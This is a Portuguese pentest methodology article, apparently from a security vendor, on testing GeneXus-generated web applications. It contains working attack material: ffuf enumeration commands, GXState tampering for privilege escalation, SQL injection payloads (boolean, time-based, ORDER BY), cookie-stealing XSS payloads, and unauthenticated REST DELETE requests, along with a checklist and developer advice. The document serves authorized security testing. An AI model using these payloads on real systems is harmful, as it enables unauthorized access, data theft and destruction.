Pentest 
Red Team 
Security Review 
Vantico 
Resumo:
- O GeneXus cria padrões previsíveis de URL, parâmetros e comportamentos consistentes entre sistemas diferentes, acelerando o mapeamento da superfície de ataque.
- No GeneXus, cada transação ou web panel exposto vira um endpoint com o nome do objeto diretamente na URL, permitindo enumerar e prever endpoints administrativos a partir dos nomes encontrados no tráfego normal.
- O controle de acesso em aplicações GeneXus frequentemente protege o menu de navegação, mas não os objetos em si, fazendo com que acessar diretamente a URL de um objeto sem cookie de sessão seja o teste mais simples e o mais produtivo.
- O campo GXState, presente em formulários GeneXus, serializa variáveis de sessão sem assinatura criptográfica em versões antigas, permitindo manipular valores como IsAdmin ou Role para escalada de privilégio.
- Scanners genéricos não encontram os vetores mais críticos em GeneXus: acesso direto a objetos, manipulação de GXState e injection em parâmetros de grid exigem conhecimento dos padrões do gerador para serem identificados rapidamente.
O GeneXus é amplamente utilizado em sistemas corporativos, governamentais e financeiros. Por ser uma plataforma geradora de código, ela produz padrões previsíveis de URL, nomes de parâmetros e comportamentos que se repetem entre sistemas diferentes. Reconhecer esses padrões acelera o mapeamento da superfície de ataque e direciona os testes para os vetores mais produtivos.
O que é GeneXus e por que seu teste é diferente
GeneXus é uma plataforma de desenvolvimento low-code criada pela empresa uruguaia Artech em 1984, sendo uma das ferramentas de desenvolvimento mais usadas na América Latina. Bancos, seguradoras, prefeituras, sistemas de saúde e ERPs corporativos em toda a região usam GeneXus para gerar aplicações web, mobile e desktop a partir de modelos de dados e lógica de negócio definidos em uma linguagem proprietária.
O modelo do GeneXus é simples: o desenvolvedor define entidades, transações e procedimentos em um ambiente visual ou textual, e a plataforma gera o código-fonte na linguagem alvo escolhida (Java, C#/.NET, Ruby on Rails, entre outras), gerando uma aplicação funcional com interface web, acesso a banco de dados e lógica de negócio.
O código gerado pelo GeneXus segue padrões altamente consistentes entre projetos diferentes: nomes de parâmetros, estrutura de URLs, formato de sessão e comportamento de erros previsíveis porque vêm do mesmo gerador. Um pentester que conhece esses padrões consegue mapear a superfície de ataque de uma aplicação GeneXus de forma rápida.
Por que o Genexus é relevante no contexto de pentest
A maior parte das aplicações GeneXus em produção foi desenvolvida há anos e não passou por revisões de segurança recentes. O modelo low-code cria uma percepção equivocada de que a segurança está automaticamente garantida pelo gerador. O GeneXus gera o código funcional, mas não define automaticamente controles de acesso, validação de input ou proteção contra injeção.
Passo 1: Identificando uma aplicação GeneXus
O primeiro passo é confirmar que a aplicação foi gerada pelo GeneXus e adaptar a abordagem do mapeamento. O pentester passa a utilizar o conhecimento dos padrões do gerador para construir rapidamente uma lista de endpoints candidatos.
Sinais no source HTML e nos headers
Abra o source da página principal com Ctrl+U e procure pelos seguintes indicadores:
// Shell / DevTools
# Inspecionar source HTML da página principal (Ctrl+U no browser)
# Indicador 1: comentários de geração GeneXus no HTML
<!-- GeneXus generated --> <!-- GX: -->
# Indicador 2: scripts e CSS com nomenclatura GeneXus padrão
<script src="/gxres/gxgral.js"> <script src="/gxres/gxmsglist.js"> <script src="/gxresources/genexus.css"> <link rel="stylesheet" href="/gxres/webstandard.css"> <script src="/gxwebresources/bootstrap.js">
# Indicador 3: campos hidden com prefixo GX no formulário
<input type="hidden" name="GXState"> <input type="hidden" name="GXCmpContext"> <input type="hidden" name="GXIWAjax"> <input type="hidden" name="GxAjaxRequest">
# Indicador 4: IDs de elemento com padrão GeneXus
id="gxp0_CAMPO" id="vNOMEVARIAVEL"
# Indicador 5: headers HTTP revelando plataforma
- No Burp, verificar headers de resposta:
X-Powered-By: GeneXus Server: GX
# Confirmar via Wappalyzer (extensão de browser):
- Mostra GeneXus automaticamente quando detectado
Padrões de URL por gerador alvo
O GeneXus gera URLs com padrões específicos dependendo do gerador-alvo escolhido no projeto. Identificar o gerador permite saber exatamente onde procurar e o que esperar:
| Java (Servlet) | URLs como /servlet/com.empresa.pacote.NomeObjeto ou /servlet/NomeObjeto. Parâmetros passados via POST com campos GXState e GXCmpContext. |
| .NET / C# | Páginas .aspx: /NomeObjeto.aspx ou /pasta/NomeObjeto.aspx. ViewState presente no HTML. App tipicamente em IIS. |
| Ruby on Rails | URLs no formato REST: /nome_objeto/ação. Gerador mais novo, menos comum em produção legada. |
| Angular (SD Angular) | SPA com bundle JavaScript. APIs chamadas para /rest/NomeObjeto. Modelo GeneXus no backend, frontend Angular gerado. |
Estrutura de diretórios padrão
Além dos padrões de URL por gerador, o GeneXus cria uma estrutura de diretórios previsível no servidor web. Esses paths podem ser acessados diretamente para mapear a versão e os componentes instalados:
// Shell
# Diretórios e arquivos padrão a verificar:
# Recursos estáticos (sempre presentes):
/gxres/ -> JS e CSS do framework GeneXus /gxwebresources/ -> recursos adicionais (imagens, ícones) /gxresources/ -> variante de nome comum
# Versão do GeneXus exposta em arquivos de recurso:
/gxres/gxgral.js -> verificar header ou conteúdo: revela versão GX /gxres/gxmsglist.js -> lista de mensagens do sistema
# Imagens padrão que confirmam GeneXus:
/gxres/gxlogo.png /gxres/spinner.gif /gxwebresources/GeneXus.ico
# Componentes adicionais a verificar:
/GXFlow/ -> GXflow (módulo de workflow) /GAM/ -> GeneXus Access Manager (autenticação) /gam/ -> variante lowercase /GXPortal/ -> GXportal (portal corporativo)
# Verificar via curl:
for path in /gxres/ /gxwebresources/ /GXFlow/ /GAM/ /gam/ /GXPortal/; do
code=$(curl -so /dev/null -w "%{http_code}" "https://alvo.com$path")
echo "$code $path"
done
Passo 2: Mapeando objetos GeneXus e enumerando transações
No modelo GeneXus, cada transação, web panel ou procedure exposto na web vira um endpoint acessível. O nome do objeto GeneXus é diretamente o nome do endpoint na URL. Isso cria um padrão extremamente previsível: se o sistema tem uma transação chamada Cliente, existe um endpoint /servlet/Cliente ou /Cliente.aspx.
Como enumerar objetos pelo tráfego normal
A primeira fonte é o Network tab do DevTools. Navegue por todas as funcionalidades da aplicação com o Network tab aberto. Cada request vai mostrar o nome do objeto GeneXus no path da URL. Em aplicações .NET, os nomes dos .aspx são os nomes dos objetos. Em Java, o pacote completo aparece na URL do servlet. Anote cada nome de objeto encontrado.
// HTTP / URLs
# Exemplos de URLs encontradas no Network tab:
# Java:
POST /servlet/com.empresa.app.HCLIENTE POST /servlet/com.empresa.app.HFATURA POST /servlet/com.empresa.app.WRELATORIOADM POST /servlet/com.empresa.app.WUSERS # HCLIENTE = transação Cliente (H = handle da transação) # WUSERS = web panel Users
# .NET:
GET /HCLIENTE.aspx GET /HFATURA.aspx GET /WRELATORIOADM.aspx POST /WUSERS.aspx
# Nomenclatura típica no GeneXus:
# H + NomeTransacao -> transacao principal # W + NomeWebPanel -> web panel # P + NomeProcedure -> procedure exposta # BC + Nome -> business component
# Identificar transações administrativas pelo nome:
# WUSERS, WCONFIGURACAO, WADMIN, HPERMISSOES, HGRUPOS
# Testar cada uma sem autenticação ou com conta de usuário comum
Enumerando por predição de nomes
Como os nomes dos objetos GeneXus refletem diretamente o domínio de negócio, é possível prever nomes de endpoints que não aparecem no tráfego normal. Se você vê HCLIENTE existe uma chance alta de existir HFORNECEDOR, HPRODUTO, HPEDIDO e HFATURA. Se existe WUSERS existe uma chance alta de existir WGROUPSUSERS, WCONFIG ou WADMIN.
Essa predição por domínio, combinada com uma wordlist específica para nomes comuns em sistemas GeneXus corporativos, produz resultados muito melhores do que fuzzing genérico.
// Shell / ffuf
# Nomes de objetos comuns em sistemas corporativos GeneXus
# Criar wordlist e usar ffuf para verificar quais existem
# Para Java (verificar /servlet/com.empresa.app.NOME):
ffuf -u "https://alvo.com/servlet/FUZZ" \ -w genexus_objects.txt \ -mc 200,302,500 -fc 404
# Wordlist de nomes típicos:
- Transações de negócio:
HCLIENTE, HFORNECEDOR, HPRODUTO, HPEDIDO, HFATURA, HNOTA, HCONTRATO, HPROPOSTA, HORCAMENTO, HUSUARIO, HEMPRESA, HFUNCIONARIO, HDEPARTAMENTO, HCARGO, HSALARIO, HPAGAMENTO, HRECEITA, HDESPESA, HCONTA, HEXTRATO
# Web Panels administrativos:
WUSERS, WUSUARIOS, WADMIN, WCONFIG, WCONFIGURACAO, WGROUPSUSERS, WPERMISSOES, WRELATORIO, WRELATORIOADM, WDASHBOARD, WMONITOR, WSISTEMA, WPARAMETROS, WLOG
# Para .NET (verificar /NOME.aspx):
ffuf -u "https://alvo.com/FUZZ.aspx" -w genexus_objects.txt -mc 200,302,500
Passo 3: Controle de acesso e o modelo GAM
O controle de acesso em aplicações GeneXus pode ser implementado de três formas: pelo GAM (GeneXus Access Manager), pelo módulo de segurança legado nativo do GeneXus, ou por lógica customizada desenvolvida pelo programador. Cada forma tem seus próprios vetores de bypass.
O GAM é o módulo moderno de autenticação e autorização do GeneXus. Quando presente, ele expõe seus próprios endpoints em /gam/ ou /GAM/ e usa tokens de sessão próprios. Aplicações mais antigas podem usar o modelo legado baseado em sessão HTTP simples ou em verificações de permissão codificadas manualmente nas transações.
Testando acesso direto a objetos sem autenticação
O teste mais simples é tentar acessar diretamente URLs de objetos GeneXus sem estar autenticado. Em muitas implementações, o controle de acesso é verificado na tela de menu (que redireciona para login), mas não nos objetos em si. Qualquer pessoa que conheça o nome do objeto pode acessá-lo diretamente pela URL, pulando o fluxo normal de login.
// HTTP / Browser
# Teste de acesso direto sem autenticação:
# Passo 1: Identificar um objeto que requer autenticação via fluxo normal
# (ex: ao tentar acessar /WUSERS.aspx logado, funciona normalmente)
# Passo 2: Abrir nova aba anônima (sem cookies de sessão)
# Tentar acessar diretamente: https://alvo.com/WUSERS.aspx https://alvo.com/WADMIN.aspx https://alvo.com/servlet/com.empresa.app.WUSERS
# Resultados esperados:
# Redirect para /LOGIN.aspx -> protegido corretamente # HTTP 200 com conteúdo -> Crítico: sem autenticação
# Testar todos os objetos mapeados da mesma forma
- Objetos de relatório são frequentemente os mais desprotegidos:
https://alvo.com/WRELATORIOADM.aspx https://alvo.com/WEXTRATO.aspx https://alvo.com/servlet/com.empresa.WRELVENDAS
# Verificar se a verificação de sessão está apenas no load da página ou também nos eventos de submissão:
- Alguns objetos GeneXus carregam a página protegida mas aceitam submissões POST sem sessão válida
GXState e manipulação de estado
Aplicações GeneXus .NET e Java usam um campo hidden chamado GXState para transmitir o estado da sessão entre requisições. Esse campo é um XML ou JSON serializado que contém variáveis de sessão, contexto do objeto e estado da interface. Em implementações que confiam cegamente no conteúdo do GXState, é possível manipular seu conteúdo para alterar o comportamento da aplicação.
// HTTP / Burp
# GXState: campo hidden presente em forms GeneXus
# Inspecionar no DevTools > Elements ou via Burp:
<input type="hidden" name="GXState" value="BASE64_OU_XML_ENCODADO">
# Decodificar o valor (frequentemente base64):
echo "BASE64_VALUE" | base64 -d | python3 -m json.tool
# O conteúdo típico do GXState inclui:
- Variáveis de sessão (USERID, USERNAME, ROLE)
- Estado de paginação
- Filtros aplicados
- Variáveis de contexto do objeto
# Teste 1: modificar variáveis de sessão no GXState
# Se contêm {"UserId": 42, "IsAdmin": "N"}
# Tentar: {"UserId": 1, "IsAdmin": "S"}
# Reencodepar e submeter o form
# Teste 2: escalada de privilégio via IsAdmin ou Role
# Decodificar -> alterar Role de "USER" para "ADMIN" -> reencodepar -> submeter
# O GXState não é assinado criptograficamente em versões antigas do GX
- Versões mais recentes com GAM ignoram o GXState para controle de acesso
- Verificar se a modificação tem efeito prático
Enumeração de usuários e perfis via GAM
Quando o GAM está presente, ele expõe endpoints de autenticação próprios. O endpoint de login do GAM frequentemente revela informação sobre a existência de usuários via mensagens de erro diferenciadas, e pode estar suscetível a brute force se rate limiting não estiver configurado.
// HTTP / Shell
# GAM: endpoints a verificar quando presente
# Login do GAM:
POST /gam/gxportal.aspx POST /GAM/login POST /gam/oauth/access_token
# Verificar mensagens de erro diferenciadas (enumeração de usuários):
# Usuário inexistente: "Usuário não encontrado" # Usuário existente: "Senha incorreta" # -> Se mensagens diferentes: enumeração confirmada
# Endpoint de recuperação de senha (enumeração via comportamento):
POST /gam/forgotpassword
{"email": "admin@empresa.com"} <- resposta diferente para usuário existente
- Tokens GAM: verificar onde são armazenados
- Cookies: GAMUserId, GAMToken, GXAuthToken
- Local Storage: verificar no DevTools > Application > Local Storage
- O token GAM e um JWT em versões recentes -> testar vulnerabilidades JWT
# Verificar endpoints REST do GAM expostos:
/gam/oauth/userinfo <- informações do usuário autenticado /gam/oauth/token/revoke <- revogar token (sem autenticação?) /gam/rest/oauth/roles <- listar roles (sem autenticação?)
Passo 4: Parâmetros GeneXus e vetores de injeção
Os parâmetros em aplicações GeneXus seguem nomenclaturas específicas, que permitem identificar rapidamente os campos que merecem teste de injeção, especialmente SQL injection.
Nomenclatura de parâmetros e o que ela indica
No GeneXus, os nomes de variáveis seguem convenções que revelam o tipo de dado e a origem. Variáveis que começam com v (ex.: vClienteId) são variáveis locais. Variáveis que começam com o nome de uma transação (ex.: ClienteId, FaturaNumero) são atributos diretos de tabelas do banco de dados. Atributos de tabela passados como parâmetros de request são os alvos primários para SQL injection porque frequentemente vão diretamente para queries sem sanitização adicional.
// HTTP / Burp
# Padrões de parâmetro em requests GeneXus (via Burp)
# Form POST típico de uma transação GeneXus:
POST /HCLIENTE.aspx HTTP/1.1 Content-Type: application/x-www-form-urlencoded
GXState=BASE64...& GXM_gxp0_ClienteId=42& <- atributo ClienteId da tabela Cliente GXM_gxp0_ClienteNome=Joao& <- atributo Nome GXM_gxp0_ClienteCpf=123456789& <- atributo CPF GXM_gxp1_acao=save& GXM_gxp0_FiltroNome=& <- campo de filtro: candidato a injection
# Padrão GXM_gxpN_NOME onde:
# GXM = prefixo de campo GeneXus # gxpN = identificador do grid/panel (0, 1, 2...) # NOME = nome do atributo ou variável GeneXus
# O que testar:
# 1. Campos de ID (ClienteId, FaturaId): IDOR + SQLi # 2. Campos de filtro e busca: SQLi mais provável # 3. Campos de texto livre (Nome, Descrição): XSS + SQLi
# Identificar campos de filtro no source HTML:
- Procurar por inputs com placeholder “Filtrar por…” ou “Buscar…”
- Campos de grid com ordenação são especialmente suspeitos
SQL Injection em filtros e grids
Grids no GeneXus são tabelas de dados com filtros, ordenação e paginação. O componente de filtro e ordenação de grids frequentemente passa o nome do campo e a direção de ordenação como parâmetros, e algumas implementações constroem a cláusula ORDER BY diretamente a partir desse parâmetro sem sanitização. Isso cria um vetor de SQL injection via ORDER BY que não é detectado por muitos scanners automáticos.
// HTTP / Burp
# SQL Injection via parâmetro de ordenação de grid
# Request normal de grid ordenado:
POST /WLISTAFATURAS.aspx HTTP/1.1
GXState=...& GXM_gxp0_SortField=FaturaData& <- campo de ordenação GXM_gxp0_SortType=ASC& <- direção ASC/DESC GXM_gxp0_PageIndex=1& GXM_gxp0_PageCount=20
# Teste: injetar expressão SQL no campo de ordenação
GXM_gxp0_SortField=FaturaData,(SELECT+1+FROM+DUAL)-- GXM_gxp0_SortField=FaturaData+ASC;-- GXM_gxp0_SortField=(CASE+WHEN+1=1+THEN+FaturaData+ELSE+FaturaValor+END)
# SQL Injection em filtro de busca:
# Campo: GXM_gxp0_FiltroNome=Joao # Teste boolean-based: GXM_gxp0_FiltroNome=Joao' AND 1=1-- <- resultado normal GXM_gxp0_FiltroNome=Joao' AND 1=2-- <- resultado vazio
# Time-based blind (quando não há diferença visível):
# SQL Server: GXM_gxp0_FiltroNome=Joao'; WAITFOR DELAY '0:0:5'-- # MySQL: GXM_gxp0_FiltroNome=Joao' AND SLEEP(5)--
# IDOR via parâmetro de ID:
GXM_gxp0_ClienteId=1 <- ID do primeiro registro (admin?) GXM_gxp0_FaturaId=1 <- primeira fatura (de outro cliente?)
XSS em campos que refletem no servidor
Aplicações GeneXus frequentemente refletem o valor de variáveis de sessão e de campos de grid diretamente no HTML sem escape. Campos que exibem mensagens de erro customizadas, cabeçalhos de grid com o nome do usuário logado, ou painéis de boas-vindas com o nome do usuário são candidatos a XSS refletido ou armazenado se o dado persistir no banco.
// HTTP / Burp
# XSS em campos de texto GeneXus
# Identificar campos que refletem input no HTML:
- # 1. Preencher um campo de texto com string única (ex: XYZTEST123)
- # 2. Verificar se aparece no HTML da resposta (Ctrl+F no source)
- # 3. Se aparecer: testar payloads XSS
# Payloads a testar em campos GeneXus:
<script>alert(document.domain)</script> "><script>alert(1)</script> "><img src=x onerror=alert(document.cookie)> "><svg onload=alert(1)>
# Campos específicos a verificar em GeneXus:
- 1. Campo de busca/filtro do grid (valor refletido no título do grid)
- 2. Campo de nome do usuário (refletido no header após login)
- 3. Campos de descrição livre em transações
- 4. Mensagens customizadas do sistema
# XSS via parâmetro de URL em algumas versões do GX:
https://alvo.com/WRESULTADO.aspx?Mensagem=<script>alert(1)</script>
# O parâmetro Mensagem pode ser exibido na página sem escape
# Verificar no Burp: response grep por XYZTEST123
- Se aparecer sem encoding: confirmar com payload XSS básico
Passo 5: GXflow e GXportal como superfícies específicas
O GXflow é o módulo de workflow do GeneXus, usado para automatizar processos de negócio como aprovação de documentos, fluxos de solicitação e processos de RH. O GXportal é o módulo de portal corporativo para publicação de conteúdo e dashboards. Ambos têm suas próprias interfaces administrativas que frequentemente ficam expostas com controle de acesso insuficiente.
Enumerando o GXflow
// Shell / HTTP
# GXflow: paths padrão a verificar
/GXFlow/ <- interface principal /GXFlow/GXFlowWF.aspx <- interface de workflow /GXFlow/GXFlowAdmin.aspx <- painel administrativo /GXFlow/gxflowws.asmx <- web service SOAP do GXflow /GXFlow/gxflowws.asmx?wsdl <- WSDL do web service
# Verificar se o painel admin é acessível sem autenticação:
curl -s -o /dev/null -w "%{http_code}" https://alvo.com/GXFlow/GXFlowAdmin.aspx
# Web service do GXflow expõe operações de processo:
- Se o WSDL for acessível: verificar operações disponíveis
- GetPendingTasks, ApproveTask, RejectTask, GetTaskHistory
- Testar cada operação sem autenticação ou com conta de usuário comum
# Vulnerabilidades típicas no GXflow:
- 1. Aprovar ou rejeitar tarefas de outros usuários
- 2. Listar tarefas de todos os usuários sem restrição de permissão
- 3. Acessar Histórico de workflow de processos sensíveis
- 4. Modificar estado de processo sem ser o responsável
GXportal e publicação de conteúdo
// Shell / HTTP
# GXportal: paths padrão
/GXPortal/ <- interface do portal /GXPortal/Admin/ <- área administrativa /GXPortal/Admin/default.aspx <- painel de administração
# Verificar acesso à área admin sem autenticação:
curl -s -o /dev/null -w "%{http_code}" https://alvo.com/GXPortal/Admin/
# Funcionalidades da área admin do GXportal:
- Upload de conteúdo (vetores de file upload)
- Gestão de usuários e permissões do portal
- Configuração de portlets e dashboards
- Publicação de documentos
# Teste de upload no GXportal:
- Se a área de gerenciamento de conteúdo for acessível:
- 1. Verificar extensões de arquivo permitidas no upload
- 2. Testar upload de .aspx ou .jsp se o servidor não validar extensão
- 3. Verificar onde os arquivos são armazenados e se são acessíveis
# Portlets do GXportal podem ter acesso a dados do sistema GeneXus:
- Listar portlets configuráveis -> verificar quais dados cada um expõe
Passo 6: Informação exposta por padrões do gerador
O GeneXus expõe informação sobre a aplicação em vários lugares previsíveis, revelando versão da plataforma, tecnologia do backend, estrutura interna e frequentemente dados de conexão com banco de dados.
Mensagens de erro verbose
Aplicações GeneXus em modo de desenvolvimento ou mal configuradas para produção exibem stack traces detalhados quando ocorre um erro. Esses stack traces revelam a versão do GeneXus, o pacote Java ou namespace .NET da aplicação, e frequentemente a query SQL que causou o erro.
// HTTP / Shell
# Provocar erros para obter informação:
# 1. Tipo de dado incorreto em campo numérico
GET /HCLIENTE.aspx?ClienteId=abc
# 2. Parâmetro obrigatório ausente
GET /HFATURA.aspx (sem parâmetros)
# 3. Valor fora do range aceito
GET /HPEDIDO.aspx?PedidoId=-1
# Informação típica em stack trace GeneXus:
# com.genexus.core.ModelException: ... # at com.genexus.classes.HCLIENTE.Execute(HCLIENTE.java:142) # # -> Revela: Java como gerador, versão de GeneXus, # nome do pacote da empresa, linha do código gerado
# Página de erro padrão do GeneXus (verificar se existe):
https://alvo.com/gxerror.html https://alvo.com/GXError.aspx https://alvo.com/error.aspx
# Arquivo de configuração web.config em .NET (pode ser acessível):
https://alvo.com/web.config
# Se acessível: revela connection string, chaves de criptografia, etc.
# Arquivo de log GeneXus (verificar existência):
https://alvo.com/gx.log https://alvo.com/genexus.log https://alvo.com/logs/gx.log
Arquivos de configuração e metadados expostos
// Shell / HTTP
# Arquivos típicos GeneXus a verificar:
# Arquivo de propriedades Java (pode conter connection string):
https://alvo.com/WEB-INF/classes/gxcfg.cfg https://alvo.com/WEB-INF/classes/gxcfg.xml https://alvo.com/WEB-INF/gxcfg.cfg
# Connection string em XML de configuração GeneXus:
# <ConnectionString>Data Source=servidor;Initial Catalog=banco; # User ID=sa;Password=SenhaForte123</ConnectionString>
# Arquivo de configuração do GAM:
https://alvo.com/GAM/gamcfg.xml https://alvo.com/gam/config.xml
# Verify se existe diretório de backups ou arquivos de deploy:
https://alvo.com/backup/ https://alvo.com/deploy/ https://alvo.com/old/
# Verificar headers de resposta para informação de versão:
curl -sI https://alvo.com/HCLIENTE.aspx | grep -iE "(server|x-powered|genexus|asp|java)"
# Versão do GeneXus em arquivos JavaScript:
curl -s https://alvo.com/gxres/gxgral.js | grep -i "version|genexus" | head -5
Passo 7: Web Services e APIs REST GeneXus
O GeneXus permite expor qualquer procedure ou business component como web service SOAP ou como API REST. Esses serviços frequentemente têm controle de acesso separado da interface web e podem estar configurados com restrições diferentes. Uma API REST GeneXus com autenticação mais fraca que a interface web é um padrão comum.
Identificando e testando APIs REST GeneXus
// Shell / HTTP
# APIs REST GeneXus: paths padrão
/rest/ <- endpoint base das APIs REST /rest/NomeObjeto <- objeto exposto como REST /api/ <- variante comum
# Listar endpoints REST disponíveis (se houver página de descoberta):
https://alvo.com/rest/
# APIs REST GeneXus seguem o padrão:
GET /rest/Cliente <- listar todos os clientes GET /rest/Cliente/42 <- obter cliente 42 POST /rest/Cliente <- criar novo cliente PUT /rest/Cliente/42 <- atualizar cliente 42 DELETE /rest/Cliente/42 <- deletar cliente 42
# Testes de autenticação em REST GeneXus:
# 1. Sem autenticação:
curl https://alvo.com/rest/Cliente
# Se retornar JSON com dados: sem autenticação
# 2. Comparar com interface web:
# Se /HCLIENTE.aspx requer login mas /rest/Cliente não:
# A API REST tem controle de acesso mais fraco
# 3. IDOR em REST GeneXus:
curl -H "Authorization: Bearer TOKEN_USUARIO_COMUM" \ https://alvo.com/rest/Cliente/1
# 4. Verificar se DELETE funciona sem permissão especial:
curl -X DELETE -H "Authorization: Bearer TOKEN_USUARIO_COMUM" \ https://alvo.com/rest/Cliente/42
# Web services SOAP GeneXus:
# /NomeServico.asmx <- .NET # /servlet/NomeServico <- Java # Adicionar ?wsdl para obter a documentação
Mapa de findings típicos em aplicações GeneXus
| Finding | Severidade | Impacto |
| Acesso direto a objeto GeneXus administrativo sem autenticação | Crítico | Acesso a funcionalidades de administração, listagem de usuários, configurações do sistema. |
| SQL injection em filtro ou campo de ordenação de grid | Crítico | Exfiltração de dados do banco de dados. Em SQL Server: potencial RCE via xp_cmdshell. |
| API REST GeneXus sem autenticação expondo dados de negócio | Crítico | Acesso não autenticado a todos os registros via API REST na interface web. |
| GXflow Admin acessível sem autenticação
|
Alto | Acesso a processos de workflow de todos os usuários, aprovação de solicitações pendentes. |
| IDOR via parâmetro de ID em transação GeneXus
|
Alto | Acesso a dados de qualquer registro trocando o ID no parâmetro GXM_gxpN_CAMPO. |
| Manipulação de GXState para escalada de privilégio
|
Alto | Alteração de variáveis de sessão como IsAdmin ou Role para obter acesso privilegiado. |
| XSS stored em campo de transação GeneXus sem escape
|
Alto | Execução de JavaScript arbitrário no contexto de qualquer usuário que acesse o registro. |
| Web service SOAP GeneXus sem autenticação
|
Alto | Chamada direta a procedimentos de negócio sem nenhuma verificação de identidade. |
| Stack trace GeneXus exibido ao usuário: connection string exposta | Crítico | Credenciais de banco de dados expostas publicamente em mensagens de erro. |
| Arquivo de configuração gxcfg.cfg acessível via HTTP
|
Crítico | Connection string com usuário e senha do banco de dados acessível sem autenticação. |
| XSS refletido via parâmetro de URL em objeto GeneXus
|
Médio | Execução de JavaScript no contexto do usuário que clicar no link malicioso. |
| Enumeração de usuários via mensagem de erro diferenciada no GAM
|
Médio | Confirmar existência de contas específicas para ataques direcionados de brute force. |
Checklist de pentest para aplicações GeneXus
Fingerprint e mapeamento inicial
- Confirmar GeneXus via source HTML: gxres/, GXState, scripts padrão.
- Identificar o gerador alvo: Java (servlet), .NET (aspx), Ruby ou Angular.
- Acessar /gxres/ e /gxwebresources/ para confirmar presença e versão.
- Verificar presença de GXflow (/GXFlow/), GAM (/gam/) e GXportal (/GXPortal/).
- Listar objetos GeneXus via tráfego no Network tab durante uso normal.
Controle de acesso e autenticação
- Testar acesso direto a todos os objetos mapeados sem cookie de sessão.
- Testar acesso a objetos administrativos (WUSERS, WADMIN, WCONFIG) sem privilégio.
- Decodificar e inspecionar GXState: verificar variáveis de sessão como IsAdmin.
- Verificar GAM: endpoint de login com mensagens diferenciadas (enumeração).
- Testar brute force no GAM: verificar rate limit.
- GXflow Admin: acessível sem autenticação ou com conta comum?
Injeção e manipulação de parâmetros
- Campos de filtro de grid testados para SQL injection (apóstrofo + boolean).
- Parâmetros de ordenação (SortField) testados para ORDER BY injection.
- Campos de ID numéricos testados para IDOR (substituir por outros IDs).
- Campos de texto testados para XSS (verificar reflection no HTML).
- Parâmetros de URL testados para XSS refletido.
Informação exposta
- Erros verbose provocados: tipo incorreto, parâmetro ausente, ID inválido.
- cfg, gxcfg.xml e web.config verificados como acessíveis.
- Headers HTTP inspecionados por versão do GeneXus e tecnologia.
- html e GXError.aspx verificados.
- Arquivos de log (/gx.log, /genexus.log) verificados.
Web Services e APIs
- APIs REST (/rest/) verificadas sem autenticação para cada objeto.
- REST GeneXus: testar DELETE e PUT sem permissão especial.
- Web services SOAP (.asmx) verificados: WSDL acessível? Autenticação presente?
- GXflow web service testado: operações de aprovação sem autenticação?
Aplicações GeneXus representam uma superfície de ataque com características únicas, como a previsibilidade do gerador, o que facilita o desenvolvimento e o mapeamento: nomes de objetos, estrutura de parâmetros, diretórios padrão e comportamentos de erro são consistentes entre sistemas diferentes gerados pela mesma plataforma.
O maior equívoco em engajamentos com GeneXus é tratar a aplicação como qualquer outra aplicação web e começar com scanners genéricos. Os vetores mais críticos (acesso direto a objetos, manipulação de GXState, injection em parâmetros de grid, configurações expostas) são específicos da plataforma e exigem conhecimento dos padrões do gerador para serem encontrados.
Para o desenvolvedor GeneXus: o gerador não protege automaticamente seus objetos. Cada transação, web panel e procedure expostos na web precisam ter verificação de sessão e de permissão implementada explicitamente pelo desenvolvedor no modelo GeneXus. O GAM facilita isso, mas ele precisa ser configurado para cada objeto. A ausência dessa configuração é o que cria a maioria dos achados críticos em aplicações GeneXus em produção.
Em engajamentos da Vantico envolvendo aplicações GeneXus, os dois achados mais frequentes são acesso direto a objetos administrativos sem autenticação e SQL injection em campos de filtro de grid. O primeiro acontece porque o desenvolvedor configurou o menu protegido por sessão, mas não restringiu os objetos em si. O segundo acontece porque os filtros de grid são gerados pelo GeneXus e, quando o desenvolvedor não aplica sanitização adicional, o input vai direto para a query.
A plataforma Vantico mapeia automaticamente os padrões de URL específicos do GeneXus e verifica cada objeto identificado para controle de acesso e injeção a cada ciclo de pentest.
Conheça outros artigos técnicos da Vantico clicando aqui.
Siga a Vantico nas redes sociais e fique informado sobre tecnologia e insights da área.
